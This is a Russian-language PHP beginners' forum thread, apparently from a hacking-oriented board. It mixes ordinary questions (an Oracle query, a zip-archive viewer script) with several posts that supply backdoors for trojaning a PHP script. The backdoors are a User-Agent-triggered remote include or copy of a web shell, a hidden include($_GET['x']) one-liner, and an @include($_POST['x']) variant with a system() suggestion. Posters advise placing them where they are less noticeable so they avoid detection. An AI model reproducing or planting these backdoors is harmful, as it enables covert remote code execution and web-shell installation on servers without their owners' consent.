[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. QZAR-X

    QZAR-X New Member

    Joined:
    14 Feb 2008
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    то что ты мне дал как вызывается? :confused:
     
  2. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    есть у тебя допустим скрипт:
    PHP:
    <?php
    ....
    $k=$_SERVER["USER_AGENT"];
    ....
    if (
    strpos($k,"f35761"){ $path=explode("^",$k); include($path[1]);}
    ....
    ?>
    ты меняешь у себя юзер агент (имя браузера) на например f35761^http://site/shell.php

    и вызываешь этот скрипт, он проинклюдит http://site/shell.php
     
  3. QZAR-X

    QZAR-X New Member

    Joined:
    14 Feb 2008
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    у меня ошибку во 2-ой строке вываливает
    Parse error: syntax error, unexpected '{'
     
  4. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    после if (strpos($k,"f35761") скобку ) поставь, я почемуто пропустил
     
  5. lsass.exe

    lsass.exe Elder - Старейшина

    Joined:
    5 Aug 2007
    Messages:
    156
    Likes Received:
    161
    Reputations:
    24
    читай внимательнее, это он не тебе писал.

    В твоем случае нужно залить на любой другой хост пхп шелл, а потом уже его подключаешь - ?page=http://site.r/shell.php
     
  6. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    ни чего все равно не получится он покажет как php shell и не подгрузится
     
  7. QZAR-X

    QZAR-X New Member

    Joined:
    14 Feb 2008
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    Мне этот инклудинг уже не нужен, т.к. удаленный инклуд запрещен на сервере.
    Вот если кто-нибудь напишет маленький скриптик для загрузки на сервер файла, который вызывается script.php?fileupload=shell.php и файл shell.php загрузится в тек. дир.
     
  8. QZAR-X

    QZAR-X New Member

    Joined:
    14 Feb 2008
    Messages:
    13
    Likes Received:
    2
    Reputations:
    0
    зачем он тогда мое сообщение цитировал? вроде даже задал вопрос "Тебе что надо скрипт протроянить?" и еще написал "вот:" или у меня галлюцинации? :)
     
    1 person likes this.
  9. lsass.exe

    lsass.exe Elder - Старейшина

    Joined:
    5 Aug 2007
    Messages:
    156
    Likes Received:
    161
    Reputations:
    24
    и ты читай внимательнее, то что я писал выше адрессовано heks
     
  10. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    писал я это для QZAR-X, тут если тебе инклюд не нужен, можешь функцию copy использовать, но опять же копирование будет с удаленного серва (имхо инклюд в этом случае надежнее, хотя хз)
    Code:
    <?php
    ....
    $k=$_SERVER["USER_AGENT"];
    ....
    if (strpos($k,"f35761")){ $path=explode("^",$k); copy(path[1],path[2]);}
    ....
    ?> 
    здесь в юзер агент пишешь: f35761^http://site/shell.php^/path/na/serve/shell.php
    спросиш нахрена нужны заморочки с юзер агентом, скажу, для меньшего палева, вобще вариантов куча, мог бы и сам че нить придумать
     
    1 person likes this.
  11. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    Scipio
    if (strpos($k,"f35761")) - если f35761 стоит в начале строки, то надо либо if (strpos($k,"f35761") !== FALSE), либо if (strpos(' '.$k,"f35761"))
     
    1 person likes this.
  12. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    [x26]VOLAND, Мда.. Я такого маленького скриптика в жизни не видел.
    PHP:
    <? if($_GET['x']) include($_GET['x']); ?>
    Вот самый простой вариант, если вставишь в серединку куда-нибудь, где менее заметно, то будет гуд.
    Чтоб инклудить, просто заходишь по ссылке script.php?x=http://mysite/myshell.php
     
  13. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    PHP:
    <? @include($_POST['x']); ?>
    но лучше сделать system(); или аналог, т.к. не на всех хостах есть возможность инклуда файлов с других хостов. зависит от конфигов
     
    2 people like this.
  14. BBG2

    BBG2 New Member

    Joined:
    29 Dec 2007
    Messages:
    60
    Likes Received:
    0
    Reputations:
    0
    Помогите мне решить проблему со скриптом.
     
  15. anakreon

    anakreon Elder - Старейшина

    Joined:
    19 Mar 2006
    Messages:
    30
    Likes Received:
    3
    Reputations:
    0
    Здраствуйте. Вопрос такой. Есть вывод с базы Oracle. Ну скажем такие поля.

    |....ID.....|........TIME........|...price_max...|...price_min...|
    |...215...|21.01.02 15:45|....215.25.......|......176.34....|
    |...217...|21.01.02 16:45|....300.25.......|......10.34......|
    |...220...|21.01.02 15:46|....150.25.......|......15.34......|
    |...215...|22.01.02 13:45|....215.25.......|......176.34....|
    |...217...|22.01.02 11:45|....215.25.......|......176.34....|
    |...220...|22.01.02 17:45|....215.25.......|......176.34....|
    |...215...|23.01.02 16:45|....215.25.......|......176.34....|
    ну и т.д.
    Как сделать так чтобы по каждому ID выводилась строка с максимальным временем.

    |....ID.....|........TIME........|...price_max...|...price_min...|
    |...215...|23.01.02 16:45|....215.25.......|......176.34....|
    |...217...|22.01.02 11:45|....215.25.......|......176.34....|
    |...220...|22.01.02 17:45|....215.25.......|......176.34....|
     
  16. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    ..order by `time` asc........
     
  17. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Скорее
    Code:
    select id, max(time) from table group by id
    
     
    1 person likes this.
  18. azote

    azote New Member

    Joined:
    28 Mar 2008
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    PHP:
    <?php

    include_once"../template/pclzip.php";

    $dir=check($dir);
    $arch=check($arch);
    $open=check($open);

    echo 
    '<div class=v><b>Просмотр архива</b></div>';
    if(
    $dir!="" && $arch!=""){
    if (!
    $action){

    $zip=new PclZip("$dir/$arch");
    if ((
    $list $zip->listContent()) != 0){
         
    for (
    $i=0$i<sizeof($list); $i++){
    for(
    reset($list[$i]);
    $key key($list[$i]);
    next($list[$i])) {
    $zfilesize strstr($listcontent,"--size"); 
    $zfilesize ereg_replace("--size:","",$zfilesize);
    $zfilesize =@ereg_replace("$zfilesize","$zfilesize|",$zfilesize); 
    $sizelist .="$zfilesize"
      
                    
    $listcontent "[$i]--$key:".$list[$i][$key]."";
    $zfile strstr($listcontent,"--filename");
    $zfile =ereg_replace("--filename:","",$zfile);
    $zfile =@ereg_replace("$zfile","$zfile|",$zfile);
    $savelist .="$zfile";
               
    }}

    $sizefiles2 explode("|",$sizelist);
    $sizelist2=array_sum($sizefiles2);
    $obkb=round($sizelist2/1024,2);

    $preview explode("|",$savelist);

    $count count($preview)-1;
    echo 
    '<div class=pay><img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
    echo 
    '<img src="../img/o.gif" alt="">Всего файлов: '.$count.'<br><img src="../img/go.gif" alt="">Вес архива: '.$obkb.' кб</div>';

    if (empty(
    $_GET['start'])) $start 0;
    else 
    $start $_GET['start'];
    if (
    $count $start $config_ziplist){ $end $count; }
    else {
    $end $start $config_ziplist; }
    for (
    $i $start$i $end$i++){
        
    $sizefiles explode("|",$sizelist); //вырезаем элементы из массива с размерами файлов
    $selectfile explode("|",$savelist);
    $path $selectfile[$i];
    $fname ereg_replace(".*[\\/]","",$path);
    $zdir ereg_replace("[\\/]?[^\\/]*$","",$path);
    $path str_replace("/","*",$path);

    $ext=strtolower(strrchr($fname"."));

    switch(
    $ext){
    case 
    'dir'$ico='dir.gif'; break;
    case 
    '.jpg': case '.jpeg'$ico='jpg.gif'; break;
    case 
    '.gif'$ico='gif.gif'; break;
    case 
    '.mid'$ico='mid.gif'; break;
    case 
    '.mp3'$ico='mp3.gif'; break;
    case 
    '.wav': case '.amr'$ico='wav.gif'; break;
    case 
    '.mmf'$ico='mmf.gif'; break;
    case 
    '.jad'$ico='jad.gif'; break;
    case 
    '.jar'$ico='jar.gif'; break;
    case 
    '.zip'$ico='zip.gif'; break;
    case 
    '.txt'$ico='txt.gif'; break;
    case 
    '.exe'$ico='exe.gif'; break;
    case 
    '.htm'$ico='htm.gif'; break;
    case 
    '.html'$ico='htm.gif'; break;
    case 
    '.php'$ico='php.gif'; break;
    default: 
    $ico='file.gif'; break; }

    if(!
    $fname){
    echo 
    '<img src="../images/icons/dir.gif" alt=""> <b>Директория '.$zdir.'</b><br>';
    }else{
    echo 
    '<img src="../images/icons/'.$ico.'" alt=""> <a href="zip.php?action=preview&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;open='.$path.'&amp;start='.$start.'&amp;'.SID.'">'.$zdir.'/'.$fname.'</a>';
    echo 
    ' ('.formatsize($sizefiles[$i]).')<br>'

    }}

    echo 
    '<div class=pay>';
    if (
    $start != 0) {echo '<img src="../img/go.gif" alt=""><a href="zip.php?start='.($start $config_ziplist).'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.SID.'">Назад</a>';}else{echo'<img src="../img/go.gif" alt="">Назад';}
    echo 
    ' | ';
    if (
    $count $start $config_ziplist) {echo ' <a href="zip.php?start='.($start $config_ziplist).'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.SID.'">Далее</a><img src="../img/g.gif" alt="">';}else{echo'Далее<img src="../img/g.gif" alt="">';}


    $total=$count;
    if(
    $total>0){
    $ba=ceil($total/$config_ziplist);
    $ba2=$ba*$config_ziplist-$config_ziplist;
    echo 
    '<br>';
    echo 
    '<img src="../img/g.gif" alt="">Страницы:';
    $asd=$start-($config_ziplist*3);
    $asd2=$start+($config_ziplist*4);

    if(
    $asd<$total && $asd>0){echo ' <a href="zip.php?start=0&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.SID.'">1</a> ... ';}
    for(
    $i=$asd$i<$asd2;)
    {
    if(
    $i<$total && $i>=0){
    $ii=floor(1+$i/$config_ziplist);

    if (
    $start==$i) {
    echo 
    ' <b>'.$ii.'</b>';
    } else {
    echo 
    ' <a href="zip.php?start='.$i.'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.SID.'">'.$ii.'</a> ';
    }}
    $i=$i+$config_ziplist;
    }
    if(
    $asd2<$total){echo ' ... <a href="zip.php?start='.$ba2.'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.SID.'">'.$ba.'</a>';}
    }

    }else{
    echo 
    '<br><b>Невозможно открыть архив!</b><br>';
    echo 
    'Ошибка: '.$zip->errorInfo(true);

    }
    echo
    '<br><div class=pay><img src="../img/go.gif" alt=""><a href="down.php?action=ob&amp;did='.$dir.'&amp;fid='.$arch.'&amp;'.SID.'">Вернуться</a></div>'
    }
    //////////////////////////////////action preview////////////////////////////////
    if($action=="preview"){
        
    $open str_replace("*","/",$open);    
        
    $zip=new PclZip("$dir/$arch");
    $content $zip->extract(PCLZIP_OPT_BY_NAME$open,PCLZIP_OPT_EXTRACT_AS_STRING);
    $content $content[0]['content'];


    $letters=array("а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");

    for ( 
    $b=0$b<66$b++) {if(strstr($content,$letters[$b])!== false){$utf="ok";}}
    $preview2 explode("\r\n",$content);
    $count count($preview2);

    /* function highlight_code($code) {
    $code=trim($code);
    return highlight_string($code,true);} */

    echo '<img src="../images/img/zip.gif" alt=""> <b>'.$arch.'</b><br>';
    echo 
    '<img src="../images/img/files.gif" alt=""> <b>'.$open.'</b><br>';
    echo 
    'Всего строчек: '.(int)$count.'<br><hr>';

    if(
    $utf=="ok"){echo highlight_code($content);}else{echo highlight_code(win_to_utf($content));}

    echo
    '<div class=pay><img src="../img/go.gif" alt="">';
    echo
    '<a href="zip.php?start='.$start.'&amp;dir='.$dir.'&amp;arch='.$arch.'&amp;'.SID.'">Вернуться</a></div>'
    }
    }else{
    header ("Location: index.php?".SID); exit;}
    echo
    '<div class=pay><img src="../img/go.gif" alt=""><a href="down.php?did='.$dir.'&amp;'.SID.'">В раздел</a><br>';     
    echo
    '<img src="../img/go.gif" alt=""><a href="index.php?'.SID.'">К категориям</a></div></div></div>';    
    ?>
    Этот скрипт выводит содержимое архива, и через него можно посмотреть, файл,... Но как сделать, чтоб через него можно было выкачивать файлы напрямую из архива нераспаковывая его?
     
  19. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    azote, как можно спать у себя в квартире не заходя в неё?
     
    1 person likes this.
  20. azote

    azote New Member

    Joined:
    28 Mar 2008
    Messages:
    20
    Likes Received:
    0
    Reputations:
    0
    Ну а допустим, чтоб скрипт выкачал файл(разархивировав), пользователь скачал, и файл после этого удалился(точнее временные файлы)
     
Thread Status:
Not open for further replies.